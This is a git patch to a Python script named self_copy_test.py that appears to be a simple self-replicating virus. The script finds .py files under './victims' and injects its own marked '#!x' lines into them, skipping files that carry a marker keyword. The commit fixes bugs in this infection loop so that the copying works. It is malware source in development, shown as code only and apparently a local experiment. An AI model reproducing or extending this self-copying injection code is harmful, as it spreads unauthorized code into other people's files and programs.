From cbdfbb274ce999a89a7b88adb65e293783369d52 Mon Sep 17 00:00:00 2001 From: id101010 Date: Fri, 11 Oct 2019 14:01:25 +0200 Subject: [PATCH] Fix bug in self copying code --- self_copy_test.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/self_copy_test.py b/self_copy_test.py index f31ca0a..a4ddbae 100644 --- a/self_copy_test.py +++ b/self_copy_test.py @@ -11,7 +11,8 @@ cmd = 'find ./victims -name "*.py" -print' #!x keyword = 'plsdontinjectme' #!x # for each file that matches the search command -for snippet in os.popen(cmd).readlines()l: #!x +for snippet in os.popen(cmd).readlines(): #!x + print(snippet) # strip newlines snippet = snippet[:-1] #!x try: #!x @@ -31,8 +32,8 @@ for snippet in os.popen(cmd).readlines()l: #!x if("#!x") in line: #!x # close the code file code.close() #!x - # save the content - insert=(code) #!x + # cast the line containing code + insert=(line) #!x # insert the code into the victim file victim.write(insert) #!x # poor mans error handling